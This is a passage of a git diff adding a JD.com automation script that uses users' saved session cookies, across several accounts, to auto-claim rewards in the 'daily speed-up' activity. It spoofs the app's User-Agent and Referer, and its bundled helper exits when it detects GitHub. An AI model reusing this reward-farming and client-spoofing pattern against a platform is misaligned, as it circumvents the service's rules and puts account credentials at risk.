e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_speed.js b/backUp/jd_speed.js new file mode 100644 index 0000000000..f1ade720b7 --- /dev/null +++ b/backUp/jd_speed.js @@ -0,0 +1,684 @@ +/* +京东天天加速链接:jd_speed.js +更新时间:2020-12-25 +活动入口:京东APP我的-更多工具-天天加速 +活动地址:https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html +支持京东双账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +每天4京豆,再小的苍蝇也是肉 +从 https://github.com/Zero-S1/JD_tools/blob/master/JD_speed.py 改写来的 +建议3小时运行一次,打卡时间间隔是6小时 +=================QuantumultX============== +[task_local] +#天天加速 +8 0-23/3 * * * jd_speed.js, tag=京东天天加速, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdjs.png, enabled=true + +============Loon================ +[Script] +cron "8 0-23/3 * * *" script-path=jd_speed.js,tag=京东天天加速 + +===========Surge============ +天天加速 = type=cron,cronexp="8 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_speed.js + +==============小火箭============= +天天加速 = type=cron,script-path=jd_speed.js, cronexpr="11 0-23/3 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('✈️天天加速'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let jdNotify = true;//是否开启静默运行。默认true开启 +let message = '', subTitle = ''; +const JD_API_HOST = 'https://api.m.jd.com/' + +!(async () => { + if ($.time('yyyy-MM-dd') === '2021-04-21') { + //$.msg($.name, '2021-04-21 0点已停止运营', `请禁用或删除脚本(jd_speed.js)`); + //return + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jDSpeedUp(); + await getMemBerList(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function showMsg() { + jdNotify = $.getdata('jdSpeedNotify') ? $.getdata('jdSpeedNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, `【京东账号${$.index}】${$.nickName}\n` + message); + } else { + $.log(`\n${message}\n`); + } +} +function jDSpeedUp(sourceId) { + return new Promise((resolve) => { + let body = {"source": "game"}; + if (sourceId) { + body.source_id = sourceId + } + const url = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=flyTask_' + (sourceId ? 'start&body=%7B%22source%22%3A%22game%22%2C%22source_id%22%3A' + sourceId + '%7D' : 'state&body=%7B%22source%22%3A%22game%22%7D'), + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=flyTask_${sourceId ? 'start' : 'state'}&body=${escape(JSON.stringify(body))}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html?lng=116.845095&lat=39.957701&sid=ea687233c5e7d226b30940ed7382c5cw&un_area=5_274_49707_49973', + 'Accept-Encoding': 'gzip, deflate, br' + } + }; + $.get(url, async (err, resp, data) => { + try { + if (err) { + console.log('京东天天-加速: 签到接口请求失败 ‼️‼️'); + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + let res = JSON.parse(data); + if (!sourceId) { + console.log(`\n天天加速任务进行中`); + } else { + console.log("\n" + "天天加速-开始本次任务 "); + } + if (res.code === 0 && res.success) { + subTitle = `【奖励】${res.data.beans_num}京豆`; + if (res.data.task_status === 0) { + const taskID = res.data.source_id; + await jDSpeedUp(taskID); + } else if (res.data.task_status === 1) { + const EndTime = res.data.end_time ? res.data.end_time : "" + console.log("\n天天加速进行中-结束时间: \n" + EndTime); + const space = await spaceEventList() + const HandleEvent = await spaceEventHandleEvent(space) + const step1 = await energyPropList();//检查燃料 + const step2 = await receiveEnergyProp(step1);//领取可用的燃料 + const step3 = await energyPropUsaleList(step2) + const step4 = await useEnergy(step3) + if (step4) { + await jDSpeedUp(null); + } else { + message += `【空间站】 ${res.data.destination}\n`; + message += `【结束时间】 ${res.data.end_time}\n`; + message += `【进度】 ${((res.data['done_distance'] / res.data.distance) * 100).toFixed(2)}%\n`; + } + } else if (res.data.task_status === 2) { + if (data.match(/\"beans_num\":\d+/)) { + //message += "【上轮奖励】成功领取" + data.match(/\"beans_num\":(\d+)/)[1] + "京豆 🐶"; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n` + "【上轮太空旅行】成功领取" + data.match(/\"beans_num\":(\d+)/)[1] + "京豆 🐶"); + } + } else { + console.log("京东天天-加速: 成功, 明细: 无京豆 🐶") + } + console.log("\n天天加速-领取上次奖励成功") + await jDSpeedUp(null); + } else { + console.log("\n" + "天天加速-判断状态码失败") + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + // $.msg("京东天天-加速" + e.name + "‼️", JSON.stringify(e), e.message) + $.logErr(e, resp); + } finally { + resolve() + } + }) + }) +} + +// 检查太空特殊事件 +function spaceEventList() { + return new Promise((resolve) => { + let spaceEvents = []; + const body = { "source": "game"}; + const spaceEventUrl = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=spaceEvent_list&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + } + $.get(spaceEventUrl, async (err, resp, data) => { + try { + if (err) { + console.log("\n京东天天-加速: 查询太空特殊事件请求失败 ‼️‼️") + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + const cc = JSON.parse(data); + if (cc.message === "success" && cc.data.length > 0) { + for (let item of cc.data) { + if (item.status === 1) { + for (let j of item.options) { + if (j.type === 1) { + spaceEvents.push({ + "id": item.id, + "value": j.value + }) + } + } + } + } + if (spaceEvents && spaceEvents.length > 0) { + console.log("\n天天加速-查询到" + spaceEvents.length + "个太空特殊事件") + } else { + console.log("\n天天加速-暂无太空特殊事件") + } + } else { + console.log("\n天天加速-查询无太空特殊事件") + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + // $.msg("天天加速-查询太空特殊事件" + e.name + "‼️", JSON.stringify(e), e.message) + $.logErr(e, resp) + } finally { + resolve(spaceEvents) + } + }) + }) +} + +//处理太空特殊事件 +function spaceEventHandleEvent(spaceEventList) { + return new Promise((resolve) => { + if (spaceEventList && spaceEventList.length > 0) { + let spaceEventCount = 0, spaceNumTask = 0; + for (let item of spaceEventList) { + let body = { + "source":"game", + "eventId": item.id, + "option": item.value + } + const spaceHandleUrl = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=spaceEvent_handleEvent&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + } + spaceEventCount += 1 + $.get(spaceHandleUrl, (err, resp, data) => { + try { + if (err) { + console.log("\n京东天天-加速: 处理太空特殊事件请求失败 ‼️‼️") + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + const cc = JSON.parse(data); + // console.log(`处理特殊事件的结果::${JSON.stringify(cc)}`); + console.log("\n天天加速-尝试处理第" + spaceEventCount + "个太空特殊事件") + if (cc.message === "success" && cc.success) { + spaceNumTask += 1; + } else { + console.log("\n天天加速-处理太空特殊事件失败") + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + // $.msg("天天加速-查询处理太空特殊事件" + e.name + "‼️", JSON.stringify(e), e.message) + $.logErr(e, resp) + } finally { + if (spaceEventList.length === spaceNumTask) { + console.log("\n天天加速-已成功处理" + spaceNumTask + "个太空特殊事件") + resolve() + } + } + }) + } + } else { + resolve() + } + }) +} + +//检查燃料 +function energyPropList() { + return new Promise((resolve) => { + let TaskID = ""; + const body = { "source": "game"}; + const QueryUrl = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_list&body=%7B%22source%22%3A%22game%22%7D', + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_list&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + }; + $.get(QueryUrl, async (err, resp, data) => { + try { + if (err) { + console.log("\n京东天天-加速: 查询道具请求失败 ‼️‼️") + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + const cc = JSON.parse(data) + if (cc.message === "success" && cc.data.length > 0) { + for (let i = 0; i < cc.data.length; i++) { + if (cc.data[i].thaw_time === 0) { + TaskID += cc.data[i].id + ","; + } + } + if (TaskID.length > 0) { + TaskID = TaskID.substr(0, TaskID.length - 1).split(",") + console.log("\n天天加速-查询到" + TaskID.length + "个可用燃料") + } else { + console.log("\n天天加速-检查燃料-暂无可用燃料") + } + } else { + console.log("\n天天加速-查询无燃料") + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + // $.msg("天天加速-查询燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message) + $.logErr(e, resp) + } finally { + resolve(TaskID) + } + }) + }) +} + +//领取可用的燃料 +function receiveEnergyProp(CID) { + return new Promise((resolve) => { + var NumTask = 0; + if (CID) { + let count = 0 + for (let i = 0; i < CID.length; i++) { + let body = { + "source":"game", + "energy_id": CID[i] + } + const TUrl = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_gain&body=%7B%22source%22%3A%22game%22%2C%22energy_id%22%3A' + CID[i] + '%7D', + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_gain&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + }; + count += 1 + $.get(TUrl, (error, response, data) => { + try { + if (error) { + console.log("\n天天加速-领取道具请求失败 ‼️‼️") + console.log(`${JSON.stringify(error)}`) + } else { + if (data) { + const cc = JSON.parse(data) + console.log("\n天天加速-尝试领取第" + count + "个可用燃料") + if (cc.message === 'success') { + NumTask += 1 + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + // $.msg("天天加速-领取可用燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message) + $.logErr(e, resp) + } finally { + if (CID.length === count) { + console.log("\n天天加速-已成功领取" + NumTask + "个可用燃料") + resolve(NumTask) + } + } + }) + } + } else { + resolve(NumTask) + } + }) +} + +//检查剩余燃料 +function energyPropUsaleList(EID) { + return new Promise((resolve) => { + let TaskCID = ''; + const body = { "source": "game"}; + const EUrl = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_usalbeList&body=%7B%22source%22%3A%22game%22%7D', + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_usalbeList&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + }; + $.get(EUrl, (error, response, data) => { + try { + if (error) { + console.log("\n天天加速-查询道具ID请求失败 ‼️‼️") + console.log(`${JSON.stringify(error)}`) + } else { + if (data) { + const cc = JSON.parse(data); + if (cc.code === 0 && cc.success) { + if (cc.data.length > 0) { + for (let i = 0; i < cc.data.length; i++) { + if (cc.data[i].id) { + TaskCID += cc.data[i].id + ","; + } + } + if (TaskCID.length > 0) { + TaskCID = TaskCID.substr(0, TaskCID.length - 1).split(",") + console.log("\n天天加速-查询成功" + TaskCID.length + "个燃料ID") + } else { + console.log("\n天天加速-暂无有效燃料ID") + } + } else { + console.log("\n天天加速-查询无燃料ID") + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + // $.msg("天天加速-燃料ID" + eor.name + "‼️", JSON.stringify(eor), eor.message) + $.logErr(e, resp) + } finally { + resolve(TaskCID) + } + }) + // if (EID) { + // + // } else { + // resolve(TaskCID) + // } + }) +} + +//使用能源 +function useEnergy(PropID) { + return new Promise((resolve) => { + var PropNumTask = 0; + let PropCount = 0 + if (PropID) { + for (let i = 0; i < PropID.length; i++) { + let body = { + "source":"game", + "energy_id": PropID[i] + } + const PropUrl = { + // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_use&body=%7B%22source%22%3A%22game%22%2C%22energy_id%22%3A%22' + PropID[i] + '%22%7D', + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_use&body=${escape(JSON.stringify(body))}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie + } + }; + PropCount += 1; + $.get(PropUrl, (error, response, data) => { + try { + if (error) { + console.log("\n天天加速-使用燃料请求失败 ‼️‼️") + console.log(`${JSON.stringify(error)}`) + } else { + if (data) { + const cc = JSON.parse(data); + console.log("\n天天加速-尝试使用第" + PropCount + "个燃料") + if (cc.message === 'success' && cc.success === true) { + PropNumTask += 1 + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + // $.msg("天天加速-使用燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message) + $.logErr(e, resp) + } finally { + if (PropID.length === PropCount) { + console.log("\n天天加速-已成功使用" + PropNumTask + "个燃料") + resolve(PropNumTask) + } + } + }) + } + } else { + resolve(PropNumTask) + } + }) +} +//虫洞 +function getMemBerList() { + return new Promise((resolve) => { + const body = { "source": "game", "status": 0}; + const spaceEventUrl = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_list&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(spaceEventUrl, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.success) { + for (let item of data.data) { + if (item['taskStatus'] === 0) { + $.log(`去领取【${item['title']}】任务\n`) + await getMemBerGetTask(item['sourceId']); + } + } + $.getRewardBeans = 0; + console.log(`\n检查是否可领虫洞京豆奖励`) + $.memBerList = data.data.filter(item => item['taskStatus'] === 2); + if ($.memBerList && $.memBerList.length > 0) { + for (let uuids of $.memBerList) { + await getReward(uuids['uuid']); + } + if ($.getRewardBeans > 0) { + $.msg(`${$.name}`, '', `京东账号${$.index} ${$.nickName}\n虫洞任务:获得${$.getRewardBeans}京豆`); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n虫洞任务:获得${$.getRewardBeans}京豆`) + } + } else { + console.log(`暂无可领取的虫洞京豆奖励`) + } + } + } + } + } catch (e) { + // $.msg("天天加速-查询太空特殊事件" + e.name + "‼️", JSON.stringify(e), e.message) + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//领取虫洞任务API +function getMemBerGetTask(sourceId) { + return new Promise((resolve) => { + const body = { "source": "game", sourceId}; + const options = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_getTask&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.success) { + // $.getRewardBeans += data.data.beans; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function getReward(uuid) { + return new Promise((resolve) => { + const body = { "source": "game", uuid}; + const options = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_getReward&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.success) { + $.getRewardBeans += data.data.beans; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let 